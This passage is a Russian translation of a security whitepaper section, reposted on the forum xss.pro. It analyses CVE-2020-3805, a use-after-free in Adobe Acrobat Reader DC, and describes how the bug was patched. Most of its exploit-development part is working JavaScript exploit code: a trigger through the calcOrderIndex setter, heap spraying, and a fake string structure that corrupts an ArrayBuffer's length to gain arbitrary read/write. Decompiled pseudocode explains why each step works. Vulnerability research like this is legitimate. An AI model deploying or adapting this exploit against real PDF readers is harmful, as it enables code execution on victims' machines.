CVE-2020-3805 - это уязвимость Use-After-Free, которую можно использовать для выполнения кода. Она влияет на Adobe Acrobat Reader DC 2020.006.20034 и более ранние версии и была исправлена в 2020.006.20042 с помощью рекомендаций по безопасности APSB20-13.
5.4.2 Анализ первопричин
Эта уязвимость может быть вызвана следующим кодом JavaScript.
Процесс завершился с ошибкой в AcroForm!Hb_set_invert + 0xc485f из-за Use-After-Free.
Здесь объект текстового поля, назовем его field1, был создан при первом вызове this.addField. Поле field1 будет помечено как Dead при повторном вызове this.addField. Внутренний объект свойства Field будет освобожден, когда объект поля был помечен как Dead. Когда процесс завершился с ошибкой в AcroForm!Hb_set_invert + 0xc485f, регистр edi указывал на освобожденный внутренний объект свойства Field, хотя он не принадлежал field1.
Освобожденный внутренний объект свойства Field будет повторно использован при вызове this.resetForm.
Откровенно говоря, эта уязвимость немного сложнее предыдущих. Основная причина этого не будет обсуждаться в этой статье.
5.4.3 Разработка эксплойтов
Управлять регистром EIP, используя эту уязвимость, несложно. Здесь будет подробно обсуждаться общий метод использования уязвимостей типа Use-After-Free в отношении полевых объектов. Хотя он работает только в Adobe Acrobat Reader DC 2019.012.20040 и более ранних версиях, он может помочь нам добиться выполнения кода за счет эксплуатации самой уязвимости Use-After-Free. Впервые этот метод был опубликован на GitHub (CVE-2019-8039.js) @PTDuy из STARLabs.
Уязвимость можно воспроизвести в Adobe Acrobat Reader DC 2019.012.20040 с помощью следующего кода JavaScript.
JavaScript:
// Tested on Adobe Acrobat Reader DC 2019.012.20040
var name='\xFE\xFF\x0A\x1B\x2A\x65\xF0\x75\x9C\x31\x1E\x4C\x9B\xAD\x37\x2E\xAC';
var field = this.addField(name, 'text', 0, [10, 20, 30, 40]);
var value = {
toString: function() {
app.doc.addField(name, 'text', 0, [10, 20, 30, 40]);
return 'test';
},
};
field.userName = value;Код выглядит почти так же, как и традиционные коды Use-After-Free. Здесь внутренний объект свойства Field для поля переменной будет освобожден во время присвоения свойства userName, и процесс завершится сбоем из-за Use-After-Free.
Однако мы воспользуемся уязвимостью, используя свойство calcOrderIndex вместо других свойств. Следующий текст описывает, как работает свойство calcOrderIndex.
calcOrderIndex
Изменяет порядок вычисления полей в документе. Когда в документ добавляется вычислимый текст или поле со списком, имя поля добавляется к массиву порядка вычислений. Массив порядка вычислений определяет, в каком порядке вычисляются поля. Свойство calcOrderIndex работает аналогично вкладке Calculate, используемой инструментом Acrobat Form.
Ниже приведен псевдокод функции установки свойства calcOrderIndex.
C:
// sub_20A571F0 in AcroForm.api / Adobe Acrobat Reader DC 2019.012.20040
int __cdecl field_calcOrderIndex_setter(
int field_object, int property_name, int new_index_jsobj) {
// --------------------------- cut ---------------------------
if ( get_object_property(field_object, "Dead") ) {
return throw_javascript_exception(field_object, property_name, 0, 13, 0);
}
if ( sub_20A4F354(field_object) == 0) {
return throw_javascript_exception(field_object, property_name, 0, 11, 0);
}
internal_field = get_object_property(field_object, "Field");
if ( internal_field ) {
name_list = get_name_list(*(_DWORD**)(*(_DWORD*)(internal_field + 4) + 4));
field_name = get_string(*(_DWORD *)(internal_field + 32));
old_index = get_name_index(name_list, field_name);
new_index = unbox_js_value(new_index_jsobj);
if ( old_index >= 0 && new_index >= 0 && old_index != new_index ) {
rearrange_namelist(name_list, new_index, internal_field);
if ( old_index > new_index ) ++old_index;
remove_original_name(name_list, old_index);
}
}
return 1;
}Хотя код будет проверять, был ли объект поля мертвым или нет, это не могло предотвратить срабатывание уязвимости, поскольку объект поля будет помечен как мертвый во время вызова функции unbox_js_value для получения необработанного значения параметра new_index_jsobj.
Для реализации поведения, описанного в стандартном документе, для хранения имен полевых объектов использовался строковый массив. Индекс имени определяет порядок вычисления полевого объекта. Когда значение свойства calcOrderIndex было изменено на другое значение, элементы строкового массива должны быть соответствующим образом скорректированы.
Следующий код показывает, как был настроен массив строк.
C:
struct StringArray {
int length;
int capacity;
int *string; // address array
};
void __cdecl rearrange_namelist( // sub_20A75118
StringArray *array, int new_index, int internal_field) {
if ( array ) {
if ( internal_field ) {
int index = new_index;
if ( new_index >= 0 ) {
if ( new_index > array->length ) index = array->length;
realloc_if_needed(array, array->length + 1);
for ( int i = array->length++; i > index; --i )
array->string[i] = array->string[i - 1];
StringStruct *field_name = *(_DWORD *)(internal_field + 32);
int length = get_string_length(field_name);
array->string[index] = malloc(length + 2);
char* buffer = get_string_buffer(field_name);
strcpy_safe(array->string[index], 0x7FFFFFFF, buffer, 0);
}
}
}
}Важнейшей частью было то, что при вставке имени поля будет создан буфер кучи и будет вызываться strcpy_safe для копирования строки имени. Мы можем управлять содержимым объекта internal_field при срабатывании уязвимости, чтобы можно было полностью контролировать содержимое объекта field_name.
C:
struct StringStruct {
int type;
char *buffer;
int length;
int capacity;
int unknown1;
int unknown2;
};Мы можем создать объект StringStruct и установить длину меньше фактической длины буфера, чтобы мы могли запускать запись вне границ при вызове strcpy_safe. Затем мы можем перезаписать член byteLength объекта ArrayBuffer на 0xFFFFFFFF, чтобы получить глобальный примитив чтения и записи.
Как обсуждалось ранее, это общий метод использования уязвимостей типа Use-After-Free, связанных с полевыми объектами. Вы можете добиться выполнения кода, если освободите внутренний объект свойства Field объекта поля.
В следующем коде показано, как была использована уязвимость для перезаписи byteLength ArrayBuffer значения 0xFFFFFFFF.
JavaScript:
var bigArrayBuffers, smallArrayBuffers;
var bigByteLength = 0x10000 - 8 - 0x10;
var smallByteLength = 0x8000 - 8 - 0x10;
var predictableAddress = 0x10100058;
var baseString, stringArray;
var freedHeapSize = 0x60;
function gc() {
for (var i = 0; i < 10; ++i) {
var x = new ArrayBuffer(1024 * 1024 * 32);
}
}
function valueToString(value) {
return String.fromCharCode(value & 0xFFFF) +
String.fromCharCode(value >> 16);
}
function createBaseString(length, value) {
var string = valueToString(value);
while (string.length < length) {
string += string;
}
return string;
}
function fillLowerAddressMemory(count) {
var array = new Array(count);
array[0] = new ArrayBuffer(bigByteLength);
var dv = new DataView(array[0]);
// generate fake string structure
dv.setUint32(4, predictableAddress + 0x100, true); // string address
dv.setUint32(8, smallByteLength + 0x10 - 2, true); // string length
// string data
var beg = 0x100;
var end = beg + smallByteLength + 0x10 + 8 + 8;
for (var i = beg; i < end; ++i) {
dv.setUint8(i, 0xFF);
}
for (var i = 1; i < array.length; ++i) {
array[i] = array[0].slice();
}
return array;
}
function sprayString(count, heapSize) {
var array = new Array(count);
for (var i = 0; i < array.length; ++i) {
array[i] = baseString.substring(0, heapSize / 2 - 1).toUpperCase();
}
if (!stringArray) {
stringArray = [];
}
stringArray.push(array);
}
function sprayArrayBuffer(count, byteLength) {
var array = new Array(count);
array[0] = new ArrayBuffer(byteLength);
var dv = new DataView(array[0]);
dv.setUint32(0, 0x40414140, true);
for (var i = 1; i < array.length; ++i) {
array[i] = array[0].slice();
}
return array;
}
function createHoles(array) {
for (var i = 0; i < array.length; i += 2) {
array[i] = null;
array[i] = undefined;
}
return array;
}
function triggerUAF() {
var name =
'\xFE\xFF\x0A\x1B\x2A\x65\xF0\x75\x9C\x31\x1E\x4C\x9B\xAD\x37\x2E\xAC';
var f1 = this.addField(name, 'text', 0, [10, 20, 30, 40]);
f1.setAction('Calculate', 'var dummy');
var f2 = this.addField('f2', 'text', 0, [50, 60, 70, 80]);
f2.setAction('Calculate', 'var dummy');
var value = {
valueOf: function() {
app.doc.addField(name, 'text', 0, [10, 20, 30, 40]);
sprayString(0x1000, freedHeapSize);
gc();
sprayString(0x1000, freedHeapSize);
smallArrayBuffers = sprayArrayBuffer(0x2000, smallByteLength);
createHoles(smallArrayBuffers);
gc();
return 1;
},
};
f1.calcOrderIndex = value;
}
function findCorruptedArrayBuffer() {
for (var i = 0; i < smallArrayBuffers.length; ++i) {
var ab = smallArrayBuffers[i];
if (ab && ab.byteLength != smallByteLength) {
app.alert('ArrayBuffer[' + i + '].byteLength = ' +
ab.byteLength.toString(16));
return ab;
}
}
}
function exploit() {
bigArrayBuffers = fillLowerAddressMemory(0x1000);
baseString = createBaseString(0x1000, predictableAddress);
triggerUAF();
findCorruptedArrayBuffer();
}
exploit();5.4.4 Анализ патчей
В этом разделе не будет обсуждаться, как была исправлена уязвимость в Adobe Acrobat Reader DC 2020.006.20042. Вместо этого будет обсуждаться, почему эксплойт больше не работает, начиная с Adobe Acrobat Reader DC 2019.021.20047.
Обновленная функция установки свойства calcOrderIndex показывает, что флаг будет установлен перед доступом к внутреннему объекту свойства Field, и флаг будет сброшен перед выходом из функции установки.
C:
// sub_20A51A10 in AcroForm.api / Adobe Acrobat Reader DC 2019.021.20047
int __cdecl field_calcOrderIndex_setter(
int field_object, int property_name, int new_index_jsobj) {
// --------------------------- cut ---------------------------
internal_field = get_object_property(field_object, "Field");
if ( internal_field ) sub_20AC60D7(internal_field, 1); // set flag
if ( !get_object_property ) goto LABEL_17;
name_list = get_name_list(*(_DWORD**)(*(_DWORD*)(internal_field + 4) + 4));
// --------------------------- cut ---------------------------
if ( internal_field ) sub_20AC60D7(internal_field, 0); // clear flag
return v9;
}Здесь свойство с именем LockFieldProp будет привязано к внутреннему объекту свойства Field функцией sub_20AC60D7.
C:
int __cdecl sub_20AC60D7(int internal_field, unsigned __int16 value) {
int result = dword_213E79E8;
if ( !dword_213E79E8 ) {
result = sub_208672A6("LockFieldProp", 1); // construct a string
dword_213E79E8 = result; // save to global variable
}
if ( internal_field ) {
int v3 = sub_208676B3(result); // duplicate the string
result = sub_20B4CFA5(internal_field, v3, value, 0); // bind
}
return result;
}Функция sub_2092AF70 будет вызываться при выполнении кода проверки концепции. В этой функции флаг LockFieldProp будет проверяться в соответствии с глобальной переменной dword_213E79E8. Если флаг установлен в 1, код в операторе if будет пропущен, так что объект поля не будет уничтожен.
C:
wchar_t *__cdecl sub_2092AF70(wchar_t *a1, wchar_t *a2) {
// --------------------------- cut ---------------------------
if ( !dword_213E79E8 ||
(result = sub_20B4E27F(internal_field, dword_213E79E8)) == 0 ) {
v11 = operator new(0x14u);
if ( v11 )
v12 = sub_2092B520(v11);
else
v12 = 0;
v13 = sub_2092B53F(v14, v2, v5);
if ( !sub_2092B5C2(4, v13, 0, 1, 0) ) {
if ( v12 ) {
sub_2092B953(v12);
sub_2085F980(v12);
}
}
// must be called to destroy the field object
result = sub_2092B991(v15, v2, v5, 1);
}
// --------------------------- cut ---------------------------
}Анализ показывает, что все функции установки свойств объекта поля защищены одним и тем же механизмом. Другими словами, кажется, что больше невозможно уничтожить объект поля в функциях установки его свойств.
6. Благодарности
Я хотел бы поблагодарить HITBSecConf 2020 Amsterdam за предоставленную мне возможность поделиться своими последними исследованиями и ZeroNights 2019 за предоставленную мне возможность поделиться своими предыдущими исследованиями по этой теме. Я также хотел бы поблагодарить Adobe PSIRT за фикс уязвимости перед конференциями.
Использованная литература:
[01] UTF-8, UTF-16, UTF-32 & BOM - unicode.org
[02] strncpy() history - lwn.net
[03] String Handling <string.h> - ANSI C Rationale
[04] strcpy_s, wcscpy_s - MSDN
[05] strncpy_s, wcsncpy_s - MSDN
[06] OR'LYEH? The Shadow over Firefox - phrack.org
[07] JavaScript™ for Acrobat® API Reference - adobe.com
[08] Adobe LiveCycle Designer 11 Scripting Reference - createNode - adobe.com
[09] Deep Analysis of CVE-2019-8014: The Vulnerability Ignored 6 Years Ago - xlab.tencent.com
[10] Two Bytes to Rule Adobe Reader Twice: The Black Magic Behind the Byte Order Mark -
zeronights.ru
[11] CVE-2019-8039.js - gist.github.com
7. Приложение
7.1 Adobe FTP-сервер
Все офлайн-установщики Adobe Acrobat Reader DC можно найти на FTP-сервере Adobe.
ftp://ftp.adobe.com/pub/adobe/reader/win/AcrobatDC/
7.2 Обычный шаблон PDF
Этот шаблон показывает, как выполнять код JavaScript в обычных файлах PDF.
7.3 Шаблон XFA PDF
Этот шаблон показывает, как выполнять код JavaScript в файлах XFA PDF.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://kiprey.github.io/2020/06/AN...e_times_with_malformed_strings_whitepaper.pdf